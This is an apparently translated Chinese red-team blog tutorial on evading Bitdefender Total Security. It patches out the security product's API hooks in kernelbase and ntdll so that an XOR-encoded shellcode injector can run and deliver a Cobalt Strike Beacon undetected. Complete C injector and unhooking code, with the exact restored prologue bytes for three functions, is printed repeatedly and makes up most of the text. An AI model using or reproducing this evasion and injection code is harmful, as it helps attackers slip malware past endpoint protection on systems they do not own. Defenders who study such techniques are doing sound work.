利用API unhooking完成进程注入，成功绕过Bitdefender检测
导语：在这篇文章中，我们将为读者详细介绍如何利用API unhooking完成进程注入，从而绕过Bitdefender的安全检测。
绕过端点防护软件（如AV/EDR）是红队行动中的一项重要工作，但是在完成这项工作之前，我们可能需要一些时间来了解这些防护软件是如何工作的。而随着网上发布了大量关于这个主题的资源，了解这些产品的工作原理以及如何绕过它们也变得更加容易。在这篇文章中，我将向大家展示如何利用windows API unhooking技术来绕过BitDefender全功能安全套装的。在此过程中，我们将为读者介绍关于API unhooking的概念，以及如何利用这种技术来绕过安全防护软件。
我们的主要目标是，在启动了BitDefender全功能安全套装的机器上，通过进程注入以获得一个“活蹦乱跳”的Cobalt Strike Beacon。
什么是API Hooking？
API hooking是一种用于拦截和检查win32 API调用的方法，这种技术被AV/EDR用来监视win32 API调用，并判断这些调用是否合法。所以简单来说，AV/EDR会通过在一个由解决方案本身控制的自定义模块中添加一个JMP指令来改变普通API调用的执行流程，该模块会扫描API调用及其参数，并检查它们是否合法。
这篇由Spotless撰写的文章解释了API hooking的工作原理，感兴趣的读者可以通过它来了解该技术的详细信息。
尝试通过进程注入实现免杀
在之前的文章中，我介绍了如何先对shellcode进行编码，然后再在内存中进行解码，以实现免杀。下面，让我们再尝试一下这种技术，看看它针对BitDefender全功能安全套装是否有效。
像在上一篇文章中一样，用于对shellcode进行编码的代码并没有发生变化，具体如下所示：
#include
// This code was written for researching purpose, you have to edit it before using it in real-world
// This code will deocde your shellcode and write it directly to the memory
int main(int argc, char* argv[]) {
// Our Shellcode
unsigned char shellcode[] = "MyEncodedshellcode";
// Check arguments counter
if(argc != 2){
printf("[+] Usage : decoder.exe [PID]\n");
exit(0);
}
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) {
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (base_address) {
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(shellcode); i++){
// Decode shellcode opcode (you can edit it based on your encoder settings)
char DecodedOpCode = shellcode[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
// Write the memory address where the data was written
printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
// Increase memory address by 1
n++;
}
}
// Run our code as RemoteThread
CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);
}
else {
printf("[+] Unable to allocate memory ..\n");
}
}
else {
printf("[-] Enable to retrieve process handle\n");
}
}当我编译文件并运行它来注入explorer.exe的shellcode后，我得到了以下结果：
BitDefender检测到该文件的执行情况并进行了拦截
我们可以看到，上述代码执行时被BitDefender检测到并被拦截，同时，“injector.exe”也被删除了。
那么，到底发生了什么，为什么上述代码在执行时会被拦截呢？
检测hooking
在重新编译可执行文件后，我开始进行调试，看看有没有外部DLL被注入到可执行文件中，结果如下所示：
注入的定制模块
我的可执行文件中加载了一个名为atcuf64.dll的文件，并且这个文件与BitDefender有关！
于是，我开始调试在shellcode注入过程中调用的主要win32API，当然，我从最可疑的 "CreateRemoteThread "开始调试的，反汇编结果如下所示：
CreateRemoteThread的反汇编代码
这里没有什么可疑的地方，但是，从执行流程中我们可以看到，我们将使用CreateRemoteThreadEx API，所以，我对其进行反汇编，结果如下所示：
被Hooked的CreateRemoteThread
这看起来很不寻常！我们在API的开头部分有一个JMP指令，如果我们跟踪执行流程，则会看到下列情况：
重定向到BitDefender模块
我们可以看到，在执行完JMP后，我们将到达actuf64.dll，这意味着这个函数上有一个hook，可以将执行流程重定向到BitDefender的模块中检查相关调用。
所以，当我们试图对CreateRemoteThread进行调用时，当它到达CreateRemoteThreadEx时，调用会被重定向到BitDefender的模块，为了避免对其进行检查，我们需要将函数CreateRemoteThreadEx返回到原来的状态，这就是unhooking的概念。
而基于此，我们的CreateRemoteThread API调用将不会继续按照预定的执行流程进行，也就是不会到达ZwCreateThreadEx API，而这个API是CreateRemoteThreadEx依赖的底层API。
关于这个问题，我们后面会详细介绍，现在只要记住这一点就可以了。
API Unhooking
同样，API Unhooking是这样一种技术，它们能够让被AV/EDR动过手脚的API返回原始状态，这里所说的“手脚”指的是添加到API中的JMP，该JMP用于将其钩住，以改变原来的执行流程。
我们如何将它恢复到原来的状态呢？我们可以通过以下方式来实现：
· 对于被做过手脚的函数，从原始函数中读取原始字节。为了实现该任务，只需通过调试器直接从DLL反汇编出该函数即可。
· 用原始字节覆盖被动过手脚的字节。该任务可以通过简单的内存补丁来实现：只需将数据写入特定的地址即可。
为了得到CreateRemoteThreadEx API的原始字节，我们可以打开一个新的调试器窗口，并加载kernelbase.dll，因为我们的CreateRemoteThreadEx函数就在那里。
然后，我们可以在命令窗口中键入“disasm CreateRemoteThreadEx”：
disasm命令
CreateRemoteThreadEx的原始字节
另一种从“x64dbg”中获取原始字节的方法是将调试器附加到kernelbase.dll后，打开符号选项卡，最后在搜索栏中搜索CreateRemoteThreadEx函数，双击得到如下内容：
搜索CreateRemoteThreadEx
CreateRemoteThreadEx原始字节（与其他方法得到的结果相同）
我们可以看到，我们通过反汇编API得到了原始字节，从原始字节中我们可以看到，它有5个字节“4C 8B DC 53 56”被JMP指令所代替，所以，为了解除该函数的钩子，并恢复到原来的状态，我们需要在kernelbase.dll被加载到我们的二进制代码后，覆盖这些字节。
我们可以使用下面的代码来实现该操作：
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
printf("[+] CreateRemoteThreadEx unhooking done!\n");
}上面的代码将使用GetModuleHandle函数获取kernelbase.dll模块的句柄，然后使用GetProcAddress获取函数CreateRemoteThreadEx的地址，然后打印CreateRemoteThreadEx的地址，最后写入由字节“\x4C\x8B\xDC\x53\x56”组成的原始字节。
之后，我们将CreateRemoteThreadEx的地址打印出来，最后，我们将原始字节“\x4C\x8B\xDC\x53\x56”写到函数的开头部分，并利用WriteProcessMemory将其恢复到原来的状态。
当然，我们是把CetCurrentProcess()作为进程句柄传递给WriteProcessMemory的。
所以，我们的代码将变成：
#include
// This code was written for researching purpose, you have to edit it before using it in real-world
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
int main(int argc, char* argv[]) {
// Our Shellcode
unsigned char shellcode[] = "";
// Check arguments counter
if(argc != 2){
printf("[+] Usage : injector.exe [PID]\n");
exit(0);
}
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) {
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (base_address) {
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(shellcode); i++){
// Decode shellcode opcode (you can edit it based on your encoder settings)
char DecodedOpCode = shellcode[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
// Write the memory address where the data was written
printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
// Increase memory address by 1
n++;
}
}
// Run our code as RemoteThread
CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
}
else {
printf("[+] Unable to allocate memory ..\n");
}
}
else {
printf("[-] Enable to retrieve process h2andle\n");
}
}重新编译后，我又把它附加到调试器上，并在OpenPrcoess函数中设置了一个断点，以确保我们能到达补丁代码中如下所示的“解钩部分”： 
正如我们所看到的，打补丁过程没有任何问题，我们打印了CreateRemoteThreadEx函数的地址，这与之前是一样的。
那么，我们把那个地址进行反汇编，从而得到CreateRemoteThreadEx的地址，具体如下所示：
打过补丁的CreateRemoteThreadEx
太好了！我们可以看到，我们恢复了我们的API的原始字节（即完成了脱钩操作），这样执行流程将恢复正常。
现在如果我们运行软件应该就可以了吧？
不幸的是，答案是否定的！因为当我执行程序时，它又被检测到了，这次甚至在执行CreateRemoteThread函数之前就被检测到了，这意味着，在我们编辑代码后，仍有另一个API被捕获了。
经过对代码的深入挖掘，以及回顾了我所做的修改后，我注意到我们使用了“WriteProcessMemory”调用来写入我们shellcode中的每一个字节，并对内存进行了修补，这引起了BitDefender的怀疑。
于是我试着通过反汇编WriteProcessMemory，看看它是否被钩住了，结果如下所示：
没有任何可疑之处，所以，下面让我们跟踪执行流程，看看这个普通的JMP跳转到kernelbase后到底发生了什么。
调用NtWriteVirutalMemory
所以，我们可以看到，我们到达了一个位置，该位置发生了对NtWriteVirtualMemory的调用，当然，这个调用是“WriteProcessMemory”使用的底层函数，让我们跟踪该调用，看看到底啥情况：
NtWriteVirualMemory被钩住了
原来是函数NtWriteVirtualMemory被钩住了！而且由于某种原因，一旦我们修补了内存，并用它来写入shellcode时，它就被检测到了；不过请注意，当我第一次执行可执行文件时，它成功地到达了CreateRemoteThread!
也就是说，一旦我们添加了补丁函数，这个调用就变得可疑了。
所以，为了绕过这个问题，我们需要给NtWriteVirtualMemory打补丁，让我们像使用CreateRemoteThreadEx函数一样来获取它的原始字节。
而要做到这一点，我们可使用调试器打开ntdll.dll，并反汇编NtWriteVirtualMemory函数，从而得到以下字节：
NtWriteVirualMemory的原始字节
如上所示，我们得到了NtWriteVirualMemory的原始字节，而这些字节将被Bitdefender模块的JMP所替换。
JMP替换的几个字节为“4C 8B D1 B8 3C”，所以，要想解除这个函数上的钩子，我们需要把JMP替换成原来的那5个字节；为此，我们将重新使用之前的代码，具体如下所示：
// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
HANDLE ntdll_handle = GetModuleHandle("ntdll");
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
printf("[+] NtWriteVirtualMemory unkooking done!\n");
}我们还是使用GetModuleHandle来获取ntdll库，并使用GetProcAddress来获取NtWriteVirtualMemory函数的地址。
最后，我们把原来的字节写到NtWriteVirtualMemory函数的开头部分，它将用原来的5个字节替换JMP指令。
所以，injector的代码将变成：
#include
// This code was written for researching purpose, you have to edit it before using it in real-world
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
int main(int argc, char* argv[]) {
// Our Shellcode
unsigned char shellcode[] = "";
// Check arguments counter
if(argc != 2){
printf("[+] Usage : injector.exe [PID]\n");
exit(0);
}
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
HANDLE ntdll_handle = GetModuleHandle("ntdll");
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
printf("[+] NtWriteVirtualMemory unkooking done!\n");
}
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) {
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (base_address) {
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(shellcode); i++){
// Decode shellcode opcode (you can edit it based on your encoder settings)
char DecodedOpCode = shellcode[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
// Write the memory address where the data was written
printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
// Increase memory address by 1
n++;
}
}
// Run our code as RemoteThread
CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
}
else {
printf("[+] Unable to allocate memory ..\n");
}
}
else {
printf("[-] Enable to retrieve process h2andle\n");
}
}让我们编译上述代码，并将其附加到我们的调试器中，然后在CreateRemoteThread中设置一个断点，看看这次能否达到这里；同时，我们将查看控制台，看看是否成功修补了这两个函数。
如果我们达到了CreateRemoteThread函数，说明我们成功修补了NtWriteVirtualMemory函数，并能够绕过对它的限制。
所以，在做完这些之后，我得到了以下结果：
解除钩子后，成功到达CreateRemoteThread
很好！我们可以看到，在解除这两个函数的钩子后，我们到达了CreateRemoteThread，这意味着我们可以继续执行了。
还记得前面关于ZwCreateThreadEx的那句话吗：它是CreateRemoteThreadEx的底层函数。所以，让我们继续执行代码，直到我们到达该函数，以检查它是否被钩住。
ZwCreateThreadEx被钩住了
我们可以看到，函数ZwCreateThreadEx也被钩住了！这意味着如果我们继续运行的话，它将再次被重定向到BitDefender的模块，这正是我们需要避免的。
所以，我们仍然需要获取这个函数的原始字节，并用其被钩住的指令来解除这个函数的钩子，以实现“脱钩”。
于是，我再次使用调试器打开ntdll.dll，准备从ZwCreateThreadEx函数中读取原始指令：
选中ZwCreateThreadEx函数
点击该函数时，将得到以下代码：
ZwCreateThreadEx 原始字节
我们得到了ZwCreateThreadEx的原始字节“4C 8B D1 B8 C1”，所以同样的，现在要想解除这个函数的钩子，我们只需要在ntdll中的原始函数加载到我们的可执行文件中之后，使用这些字节覆盖相应指令即可。
请注意，所有的原始字节都与syscall本身有关，也就是说JMP指令总能通过阻止运行API而避免被钩住。
我们将使用这段代码来编写最后的补丁，该补丁将像下面这样来避免ZwCreateThreadEx函数被钩住：
#include
// This code was written for researching purpose, you have to edit it before using it in real-world
// This code will deocde your shellcode and write it directly to the memory using WIN32APIs
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security
int main(int argc, char* argv[]) {
// Our Shellcode
unsigned char shellcode[] = "";
// Check arguments counter
if(argc != 2){
printf("[+] Usage : injector.exe [PID]\n");
exit(0);
}
// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);
// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");
printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);
if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
printf("[+] CreateRemoteThreadEx unhooking done!\n");
}
// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times
HANDLE ntdll_handle = GetModuleHandle("ntdll");
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");
printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
printf("[+] NtWriteVirtualMemory unkooking done!\n");
}
// Patch 3 to unhook ZwCreateThreadEx (ntdll.dll)
LPVOID ZWCreateThreadEx_address = GetProcAddress(ntdll_handle, "ZwCreateThreadEx");
printf("[+] ZwCreateThreadEx address is : %p\n", ZWCreateThreadEx_address);
if (WriteProcessMemory(GetCurrentProcess(), ZWCreateThreadEx_address, "\x4C\x8B\xD1\xB8\xC1", 5 , NULL)){
printf("[+] ZwCreateThreadEx unhooking done!\n");
}
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
// Retrive the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if (process) {
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (base_address) {
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(shellcode); i++){
// Decode shellcode opcode (you can edit it based on your encoder settings)
char DecodedOpCode = shellcode[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
// Write the memory address where the data was written
printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);
// Increase memory address by 1
n++;
}
}
// Run our code as RemoteThread
CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);
}
else {
printf("[+] Unable to allocate memory ..\n");
}
}
else {
printf("[-] Enable to retrieve process h2andle\n");
}
}正如我们所看到的，这与前面的补丁代码几乎完全相同，这里只是改变了几个字节和函数名。
所以，让我们再次编译代码，并在CreateRemoteThread函数中设置一个断点来读取控制台并在那里停止，然后我们将反汇编ZwCreateThreadEx函数，以查看它是否解除了钩子：
所有的函数解除了钩子
我们可以看到，所有的函数都已经成功解除了钩子，并抵达了CreateRemoteThread函数。接下来，让我们反汇编ZwCreateThreadEx函数：
ZwCreateThreadEx已经解除了钩子
我们可以看到，该函数被成功解除了钩子，所以，我们应该可以顺利执行Injector了。
现在，我将关闭调试器，并像下面这样运行代码：
Injector已被执行
我们可以看到，它被顺利执行了，而且没有弹出任何警报!
然后，继续执行Cobalt Strike：
Cobalt Strike Beacon
看，Cobalt Strike Beacon并没有被检测到!
致谢
在这里，我要特别感谢spotless撰写了关于API hooking的优秀文章，当然，也包括其他主题方面的文章。我在这篇文章中的方法，基本上就是出自这些文章。
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